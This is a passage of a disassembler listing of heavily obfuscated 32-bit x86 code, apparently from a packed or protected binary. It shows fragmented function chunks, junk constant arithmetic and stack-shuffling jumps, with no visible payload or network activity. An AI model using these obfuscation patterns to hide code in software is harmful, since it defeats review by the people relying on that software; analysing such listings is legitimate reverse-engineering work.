		push	ebp
		jmp	loc_59FB43
; END OF FUNCTION CHUNK	FOR sub_59FC02
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5AF4BB:				; CODE XREF: sub_59C979:loc_5AF397j
		neg	cl
		jl	loc_5A921D
		not	cl
		add	cl, 24h
		jmp	loc_59A2F3
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
		shl	ecx, 4
		push	edi
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AF4D1:				; CODE XREF: sub_5AA2D1-70A6j
		sub	ebp, 0D6915670h
		mov	edx, ebp
		pop	ebp
		inc	edx
		jnz	loc_59A658
		dec	edx
		add	edx, 2C43F72h
		jmp	loc_5A98C7
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
		push	ebx
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5AF4EE:				; CODE XREF: sub_59C979+EA7Cj
		sub	eax, 753535F7h
		dec	eax
		xor	eax, 6E16092Ah
		neg	eax
		sub	eax, 1ACFA5B5h
		add	esi, eax
		pop	eax
		pop	eax
		sub	esi, 365425A5h
		and	ecx, esi
		jmp	loc_5A7FBA
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0FFF


loc_5AF511:				; CODE XREF: sub_5A0FFF+820Bj
		or	edx, 38841B65h
		sub	edx, 7C6A8C0Bh
		xor	ebp, edx
		pop	edx
		and	eax, ebp
		pop	ebp
		jmp	loc_599370
; END OF FUNCTION CHUNK	FOR sub_5A0FFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A26C


loc_5AF528:				; CODE XREF: sub_59A26C+2460j
		xor	[esp-0Ch+arg_8], eax
		xor	eax, [esp-0Ch+arg_8]
		jmp	loc_5A619A
; END OF FUNCTION CHUNK	FOR sub_59A26C

; =============== S U B	R O U T	I N E =======================================



sub_5AF533	proc near		; CODE XREF: sub_5A7BA0+5342j

var_4		= dword	ptr -4
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 005994D5 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0059BF74 SIZE 00000009 BYTES

		sub	esp, 4
		mov	[esp-0Ch+arg_8], ebx
		mov	ebx, 4
		push	edi
		jmp	loc_5994D5
sub_5AF533	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5AF547:				; CODE XREF: sub_59D6B8-1D0Bj
		sub	ebx, ecx
		pop	ecx
		push	ecx
		mov	ecx, 7A4C5DBBh
		sub	ebx, 4AC167Eh
		sub	ebx, 6FA664BFh
		sub	ebx, ecx
		jmp	loc_5AA6D1
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AF6AC


loc_5AF563:				; CODE XREF: sub_5AF6AC-8514j
		jmp	loc_5A8DE7
; END OF FUNCTION CHUNK	FOR sub_5AF6AC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5AF568:				; CODE XREF: sub_5992DA+13979j
		dec	edx
		jle	loc_5AEDB7
		jmp	loc_5A395B
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
		mov	ebp, 2
		mov	bl, 3Ah
		push	esp
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AF57D:				; CODE XREF: sub_5AA2D1-7952j
		mov	ebp, 26382311h
		jmp	loc_5AA115
; ---------------------------------------------------------------------------


loc_5AF587:				; CODE XREF: sub_5AA2D1+9F0j
		mov	esp, [esp-14h+arg_10]
		movsx	cx, al
		push	364h
		mov	[esp-10h+arg_C], edx
		push	44CFh
		push	esp
		pop	[esp-8+arg_4]
		push	ecx
		mov	ecx, 4
		add	[esp-8+arg_8], ecx
		pop	ecx
		pop	edx
		sub	esp, 4
		jmp	loc_5AAC78
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A77D5


loc_5AF5B3:				; CODE XREF: sub_5A77D5+3CB4j
		add	edx, 4
		jmp	loc_5A1878
; END OF FUNCTION CHUNK	FOR sub_5A77D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CC30


loc_5AF5BB:				; CODE XREF: sub_59CC30+6j
		mov	[esp+4+var_4], eax
		xchg	ebp, [esp+4+var_4]
		not	ebp
		xchg	ebp, [esp+4+var_4]
		pop	eax
		sub	eax, 0FFF7B37Eh
		add	esi, eax
		pop	eax
		sub	esp, 4
		mov	[esp+0], esi
		push	[esp+arg_0]
		pop	esi
		pop	dword ptr [esp+0]
		mov	esp, [esp-4+arg_0]
		ror	word ptr [esp-4+arg_0],	cl
		pushf
		jmp	loc_5A6C63
; END OF FUNCTION CHUNK	FOR sub_59CC30
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FC02


loc_5AF5EA:				; CODE XREF: sub_59FC02+8CABj
		pop	ecx
		jmp	loc_5AF9E1
; END OF FUNCTION CHUNK	FOR sub_59FC02
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9EBF


loc_5AF5F0:				; CODE XREF: sub_5A9EBF-5E90j
		mov	eax, 0E123F824h
		sub	ebx, eax
		pop	eax
		mov	edi, ebx
		jmp	loc_5AB788
; END OF FUNCTION CHUNK	FOR sub_5A9EBF

; =============== S U B	R O U T	I N E =======================================



sub_5AF5FF	proc near		; CODE XREF: sub_59D6B8+561Fj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005A356B SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005ADB60 SIZE 0000000D BYTES

		sub	esp, 4
		mov	[esp+4+var_4], edx
		jmp	loc_5ADB60
sub_5AF5FF	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AF60D:				; CODE XREF: sub_5AA2D1-10505j
					; sub_5B01F7-C0D0j
		add	esp, 4
		jmp	loc_5AEFCA
; ---------------------------------------------------------------------------


loc_5AF618:				; CODE XREF: sub_5AA2D1-A7DFj
					; sub_5A2E41+CD1Aj
		mov	ecx, [esp-2Ch+arg_28]
		jmp	loc_5AB374
; ---------------------------------------------------------------------------


loc_5AF620:				; CODE XREF: sub_5AA2D1-DB6Fj
		xor	bp, di
		pop	edi
		jmp	loc_5AE955
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A81C4


loc_5AF629:				; CODE XREF: sub_5A81C4-4448j
		mov	[esp+4+var_4], ebp
		mov	ebp, 0B5C3F1Bh
		push	ebp
		jmp	loc_5ACA1A
; END OF FUNCTION CHUNK	FOR sub_5A81C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5AF637:				; CODE XREF: sub_5992DA+14D6Bj
		mov	edi, 37526610h
		sub	esi, edi
		pop	edi
		pop	ebx
		add	edx, 1D6D5E55h
		add	edx, esi
		sub	edx, 1D6D5E55h
		mov	esi, [esp+14h+var_14]
		sub	esp, 4
		mov	[esp+18h+var_18], ecx
		mov	ecx, esp
		jmp	loc_5A5AAF
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5EFF


loc_5AF661:				; CODE XREF: sub_5A5EFF-AFECj
		sub	eax, 6FB6F1Ch
		add	eax, ecx
		add	eax, 6FB6F1Ch
		pop	ecx
		jmp	loc_5AF2C1
; END OF FUNCTION CHUNK	FOR sub_5A5EFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD993


loc_5AF673:				; CODE XREF: sub_5AD993-BFB1j
		jmp	loc_59AF52
; END OF FUNCTION CHUNK	FOR sub_5AD993
; ---------------------------------------------------------------------------


loc_5AF678:				; CODE XREF: sdfs____:005AD64Cj
		push	dword ptr [esp]
		pop	ecx
		push	esi
		mov	esi, esp
		jmp	loc_5A2C1E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AF684:				; CODE XREF: sub_5AA2D1-598Cj
		mov	ebp, 6241123Bh
		jmp	loc_59CB45
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2166


loc_5AF68E:				; CODE XREF: sub_5A2166+CE28j
		pop	ebx
		sub	esi, 71DF4900h
		add	esi, ecx
		push	ebp
		mov	ebp, 71DF4900h
		jmp	loc_5AE89B
; END OF FUNCTION CHUNK	FOR sub_5A2166
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9EC5


loc_5AF6A2:				; CODE XREF: sub_5A9EC5-DFA5j
		mov	[esp+6+var_8+2], eax
		mov	al, 90h
		jmp	loc_5A8DF0
; END OF FUNCTION CHUNK	FOR sub_5A9EC5

; =============== S U B	R O U T	I N E =======================================



sub_5AF6AC	proc near		; CODE XREF: sub_59A479+8F19j

; FUNCTION CHUNK AT 0059D692 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A5B9B SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005A7191 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005AF563 SIZE 00000005 BYTES

		push	ebx
		push	10BC225Bh
		jmp	loc_5A7191
sub_5AF6AC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2AFE


loc_5AF6B7:				; CODE XREF: sub_5A2AFE+4FF2j
		push	ecx
		mov	ecx, 5D2235BDh
		jmp	loc_5A826D
; END OF FUNCTION CHUNK	FOR sub_5A2AFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AF6C2:				; CODE XREF: sub_5AA2D1+332Bj
		and	edi, ebp
		jmp	loc_59C901
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD213


loc_5AF6C9:				; CODE XREF: sub_5AD213+8j
		push	edx
		mov	edx, 48832CF8h
		xor	edx, 3FB02F99h
		add	ebx, edx
		jmp	loc_5A6AD8
; END OF FUNCTION CHUNK	FOR sub_5AD213
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB179


loc_5AF6DC:				; CODE XREF: sub_5AB179-90E3j
		xor	ebp, 4A006155h
		jmp	loc_5A01FC
; END OF FUNCTION CHUNK	FOR sub_5AB179
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59BA35


loc_5AF6E7:				; CODE XREF: sub_59BA35+2Dj
		or	esi, 3A5807FEh
		jl	loc_59D635
		jmp	loc_5AB35C
; END OF FUNCTION CHUNK	FOR sub_59BA35
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AF6F8:				; CODE XREF: sub_5AA2D1-C299j
					; sub_5AF3AA-C9EAj
		mov	edx, 34A274EBh
		or	edx, 2A0A480Ah
		add	edx, 40547094h
		shl	edx, 2
		xor	edx, 2FB93892h
		sub	edx, 6720CBCh
		jmp	loc_5AC9FF
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A79BE


loc_5AF71D:				; CODE XREF: sub_5A79BE+4FD6j
		add	ebx, ecx
		pop	ecx
		add	esi, 12EB10D3h
		add	esi, ebx
		sub	esi, 12EB10D3h
		pop	ebx
		add	esi, 4
		xchg	esi, [esp-8+arg_4]
		jmp	loc_59E7CD
; END OF FUNCTION CHUNK	FOR sub_5A79BE
; ---------------------------------------------------------------------------


loc_5AF73D:				; CODE XREF: sdfs____:005A1840j
		mov	ebx, 6B161331h
		push	ebx
		xor	dword ptr [esp], 3FBF3B63h
		pop	edx
		jmp	loc_59A0EB
; ---------------------------------------------------------------------------


loc_5AF750:				; CODE XREF: sdfs____:005AA64Cj
		mov	eax, 49B26AC5h
		jmp	loc_5AD31D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5AF75A:				; CODE XREF: sub_5992DA+A22Ej
		dec	edx
		jnz	loc_5AC757
		jmp	loc_5AB788
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
		sub	al, 58h
		mov	edx, [esp]
		mov	ebx, ecx
; START	OF FUNCTION CHUNK FOR sub_5A5735


loc_5AF76D:				; CODE XREF: sub_5A5735-AA77j
		dec	ecx
		sub	ecx, 0A5F0A141h
		mov	esi, ecx
		pop	ecx
		add	eax, esi
		push	[esp+4+var_4]
		pop	esi
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+8+var_8]
		pop	esp
		push	2CB9h
		mov	[esp+8+var_8], eax
		push	[esp+8+var_4]
		pop	eax
		pop	[esp+8+var_8]
		mov	esp, [esp+4+var_4]
		shr	[esp-4+arg_0], cl
		pushf
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_5A5735
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE72D


loc_5AF7AC:				; CODE XREF: sub_5AE72D+22j
		push	eax
		mov	eax, 57155E05h
		shl	eax, 8
		add	eax, 55D020F8h
		mov	edx, eax
		jmp	loc_5ADB17
; END OF FUNCTION CHUNK	FOR sub_5AE72D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AF7C1:				; CODE XREF: sub_5AA2D1+19FCj
		push	edi
		push	424A1BD0h
		pop	edi
		dec	edi
		jg	loc_59944E
		sub	edi, 424A1BCBh
		jmp	loc_5A6A98
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5AF7DA:				; CODE XREF: sub_59D6B8+B3BDj
		mov	eax, 6EB042BBh
		add	eax, 694814E1h
		shl	eax, 5
		xor	eax, 0FF0AF384h
		add	esi, eax
		mov	eax, [esp+20h+var_20]
		add	esp, 4
		xchg	esi, [esp+1Ch+var_1C]
		pop	esp
		pop	[esp+18h+var_18]
		pop	esp
		sar	word ptr [esp+10h+var_10], cl
		pushf
		jmp	loc_5A38BB
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD993


loc_5AF809:				; CODE XREF: sub_5AD993+6j
		or	ebx, 75300D16h
		jp	loc_5AFDC6
		dec	ebx
		jno	loc_5AC87A
		mov	bl, 0DCh
		mov	ebp, ecx
; END OF FUNCTION CHUNK	FOR sub_5AD993
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AF820:				; CODE XREF: sub_5AA2D1+44j
		push	dword ptr [esp+0]
		pop	eax
		sub	esp, 4
		mov	[esp+2+var_4+2], esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+2+var_4+2]
		pop	esp
		mov	[esp+0], ebx
		mov	ebx, esp
		push	eax
		mov	eax, 30EC590Ah
		add	eax, 0CF13A6FAh
		add	ebx, eax
		pop	eax
		sub	esp, 4
		mov	[esp+2+var_4+2], esi
		mov	esi, 4
		jmp	loc_5A6A98
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABE5F


loc_5AF862:				; CODE XREF: sub_5ABE5F+6j
		pop	[esp+4+var_4]
		pop	esp
		not	esi
		xor	esi, 99DEC442h
		mov	edi, esi
		pop	esi
		add	eax, edi
		mov	edi, [esp-8+arg_4]
		add	esp, 4
		add	eax, ebx
		push	esi
		jmp	sub_5AC2C0
; END OF FUNCTION CHUNK	FOR sub_5ABE5F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A26C


loc_5AF881:				; CODE XREF: sub_59A26C+8389j
		pop	edx
		push	edi
		push	[esp-0Ch+arg_C]
		jmp	loc_5ACFD2
; END OF FUNCTION CHUNK	FOR sub_59A26C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E41


loc_5AF88C:				; CODE XREF: sub_5A2E41+5EBj
		push	dword ptr [esp+0]
		pop	ebx
		push	21Bh
		jmp	loc_5AE260
; END OF FUNCTION CHUNK	FOR sub_5A2E41
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AF89A:				; CODE XREF: sub_5AA2D1+14ACj
		pop	ebx
		or	ebp, 37337423h
		inc	ebp
		shr	ebp, 6
		xor	ebp, 561F5844h
		push	edi
		mov	edi, 51656953h
		jmp	loc_59D57C
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A913B


loc_5AF8B6:				; CODE XREF: sub_5A913B-4A9j
		add	bl, al
		sub	bl, 61h
		sub	bl, 60h
		push	edx
		mov	dh, 76h
		sub	dh, 14h
		sub	bl, 6Ah
		sub	bl, dh
		add	bl, 6Ah
		jmp	loc_59DEDD
; END OF FUNCTION CHUNK	FOR sub_5A913B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AF8D1:				; CODE XREF: sub_5AA2D1-324j
		push	edx
		jmp	loc_5A8BA9
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F463


loc_5AF8D7:				; CODE XREF: sub_59F463+4652j
		mov	[esp+0], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_5AD388
; END OF FUNCTION CHUNK	FOR sub_59F463
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4DFC


loc_5AF8E7:				; CODE XREF: sub_5A4DFC+3F75j
		mov	[esp+10h+var_10], ebx
		mov	bh, cl
		mov	dl, bh
		pop	ebx
		pop	ecx
		jmp	loc_5AB6C9
; END OF FUNCTION CHUNK	FOR sub_5A4DFC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADD33


loc_5AF8F5:				; CODE XREF: sub_5ADD33-12A81j
		mov	[esp+4+var_4], edx
		push	esp
		pop	edx
		jmp	loc_5A710A
; END OF FUNCTION CHUNK	FOR sub_5ADD33

; =============== S U B	R O U T	I N E =======================================



sub_5AF8FF	proc near		; DATA XREF: sdfs____:00598FA8o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00599DD1 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059F951 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A7B70 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005AA7CC SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005AFDBD SIZE 00000009 BYTES

		sub	esp, 4
		jmp	loc_599DD1
sub_5AF8FF	endp

; ---------------------------------------------------------------------------
		push	small word ptr [edx]
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_5AF90F:				; CODE XREF: sdfs____:005A88BCj
		mov	[esp], ebp
		jmp	loc_5A39C1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5AF917:				; CODE XREF: sub_5992DA+C6B9j
		push	edx
		mov	dh, 0B6h
		add	dh, 0D5h
		js	loc_59AFAF
		sub	dh, 58h
		dec	dh
		sub	dh, 2Ch
		jmp	loc_59C525
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9A8F


loc_5AF930:				; CODE XREF: sub_5A9A8F+6j
		mov	eax, 2540247Eh
		add	edi, 4A7D706Dh
		jmp	sub_59BC97
; END OF FUNCTION CHUNK	FOR sub_5A9A8F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8E92


loc_5AF940:				; CODE XREF: sub_5A8E92-B345j
		mov	[esp+0], esi
		mov	esi, 4
		add	ebx, esi
		pop	esi
		xchg	ebx, [esp-4+arg_0]
		jmp	loc_59EF4C
; END OF FUNCTION CHUNK	FOR sub_5A8E92
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AF953:				; CODE XREF: sub_5AA2D1+602Cj
		pop	edi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp-18h+arg_14]
		pop	esp
		mov	[esp-1Ch+arg_18], ebx
		mov	ebx, 4
		push	ebx
		mov	ebx, 3CCB5114h
		add	ebp, ebx
		pop	ebx
		sub	ebp, ebx
		push	edx
		mov	edx, 3CCB5114h
		sub	ebp, edx
		pop	edx
		jmp	loc_59D96F
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C2B8


loc_5AF985:				; CODE XREF: sub_59C2B8+1Ej
		mov	edx, ebx
		pop	ebx
		xor	edx, 10251622h
		jmp	loc_5AAD00
; END OF FUNCTION CHUNK	FOR sub_59C2B8
; ---------------------------------------------------------------------------


loc_5AF993:				; DATA XREF: sdfs____:00598E38o
		push	dword ptr [esp]
		pop	eax
		push	495Fh
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5AA05D

; =============== S U B	R O U T	I N E =======================================



sub_5AF9B3	proc near		; CODE XREF: sub_5A18F6+2615j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 005A86DC SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005AE42A SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005AFF0F SIZE 0000001B BYTES

		sub	esp, 4
		mov	[esp+0], edx
		jmp	loc_5AE42A
sub_5AF9B3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5AF9BE:				; CODE XREF: sub_59C979+585Ej
		add	edi, esi
		pop	esi
		xor	ecx, edi
		pop	edi
		jmp	loc_59F7E8
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE29C


loc_5AF9C9:				; CODE XREF: sub_5AE29C:loc_5A11AEj
		shr	edx, 6
		jmp	loc_5A568B
; END OF FUNCTION CHUNK	FOR sub_5AE29C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A580F


loc_5AF9D1:				; CODE XREF: sub_5A580F+511Ej
		push	[esp+10h+var_10]
		jmp	loc_5AE874
; END OF FUNCTION CHUNK	FOR sub_5A580F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F02F


loc_5AF9D9:				; CODE XREF: sub_59F02F+C543j
		push	[esp+8+var_8]
		jmp	loc_59ABDB
; END OF FUNCTION CHUNK	FOR sub_59F02F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FC02


loc_5AF9E1:				; CODE XREF: sub_59FC02+F9E9j
		push	6E03h
		mov	[esp+8+var_8], ebp
		jmp	loc_59C398
; END OF FUNCTION CHUNK	FOR sub_59FC02
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AF9EE:				; CODE XREF: sub_5AA2D1-3812j
		mov	esi, 57E92495h
		push	ecx
		mov	ecx, 118937F8h
		shl	ecx, 7
		sub	ecx, 0C49BFBFFh
		sub	esi, ecx
		push	[esp+12h+var_14+2]
		jmp	loc_59965E
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5AFA0C:				; CODE XREF: sub_5992DA+168BEj
		xchg	edx, [esp+26h+var_26]
		pop	esp
		mov	[esp+22h+var_22], ecx
		push	edi
		mov	edi, 5BF651CEh
		xor	edi, 5BF651CAh
		mov	ecx, edi
		jmp	loc_5AEE1B
; END OF FUNCTION CHUNK	FOR sub_5992DA

; =============== S U B	R O U T	I N E =======================================



sub_5AFA26	proc near		; CODE XREF: sub_5A63DC+5D84j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00599EF7 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059A53B SIZE 00000043 BYTES
; FUNCTION CHUNK AT 0059AB2C SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0059D0BF SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059E237 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 0059E40A SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059E459 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0059FDA0 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A1AB1 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 005A4D55 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 005A6A6B SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A8DC6 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A9AF7 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005AC0C1 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005AD209 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005AF01E SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005AFAF5 SIZE 0000001C BYTES

		sub	esp, 4
		mov	[esp+2+var_4+2], edx
		jmp	loc_599EF7
sub_5AFA26	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5996E4


loc_5AFA31:				; CODE XREF: sub_5996E4+3j
		mov	[esp+4+var_4], esi
		jmp	loc_5A8FD1
; END OF FUNCTION CHUNK	FOR sub_5996E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E94B


loc_5AFA39:				; CODE XREF: sub_59E94B-5C9j
		push	1301h
		mov	[esp+4+var_4], ebx
		jmp	sub_5A35F6
; END OF FUNCTION CHUNK	FOR sub_59E94B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB3DB


loc_5AFA46:				; CODE XREF: sub_5AB3DB-3173j
		mov	edi, 49AA42E8h
		jmp	loc_59E828
; END OF FUNCTION CHUNK	FOR sub_5AB3DB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CBE1


loc_5AFA50:				; CODE XREF: sub_59CBE1+C361j
		mov	ebp, [esp-14h+arg_10]
		add	esp, 4
		xor	ebx, eax
		pop	small word ptr [eax]
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_59CBE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9EC5


loc_5AFA60:				; CODE XREF: sub_5A9EC5-B890j
		mov	esp, [esp+6+var_8+2]
		jmp	loc_59C6FB
; END OF FUNCTION CHUNK	FOR sub_5A9EC5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AFA68:				; CODE XREF: sub_5AA2D1:loc_5A6021j
		add	edx, 0FFFFFFFFh
		push	esi
		mov	esi, 0E51AD12Ch
		jmp	loc_59B9D9
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A12F5


loc_5AFA76:				; CODE XREF: sub_5A12F5+4DC2j
		mov	[esp+4+var_4], edx
		jmp	loc_5A08E1
; END OF FUNCTION CHUNK	FOR sub_5A12F5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5EFF


loc_5AFA7E:				; CODE XREF: sub_5B03E8-12563j
					; sub_5A5EFF+CE1j
		sub	edi, eax
		push	eax
		mov	eax, 5AE5164Dh
		xor	eax, 0FE4023h
		sub	edi, eax
		pop	eax
		pop	eax
		xor	edi, [esp+4+var_4]
		xor	[esp+4+var_4], edi
		xor	edi, [esp+4+var_4]
		jmp	loc_5AC5B2
; END OF FUNCTION CHUNK	FOR sub_5A5EFF
; ---------------------------------------------------------------------------


loc_5AFA9D:				; CODE XREF: sdfs____:005A3058j
		mov	esi, 4
		add	edi, esi
		jmp	loc_59BC59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AAFCA


loc_5AFAA9:				; CODE XREF: sub_5AAFCA-61ECj
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		jmp	loc_5A95F9
; END OF FUNCTION CHUNK	FOR sub_5AAFCA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D18A


loc_5AFABD:				; CODE XREF: sub_59D18A+7B58j
		add	[esp+0Ch+var_4], ebx
		jmp	loc_5AEF54
; END OF FUNCTION CHUNK	FOR sub_59D18A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4E04


loc_5AFAC6:				; CODE XREF: sub_5A4E04-485Bj
		add	esi, 3C90C030h
		jmp	loc_5AE6D4
; END OF FUNCTION CHUNK	FOR sub_5A4E04
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AFAD1:				; CODE XREF: sub_5AA2D1+104Cj
		add	eax, 0B7F2EEA7h
		xor	esi, eax
		pop	eax
		mov	eax, esi
		pop	esi
		add	ebx, eax
		jmp	loc_5A4302
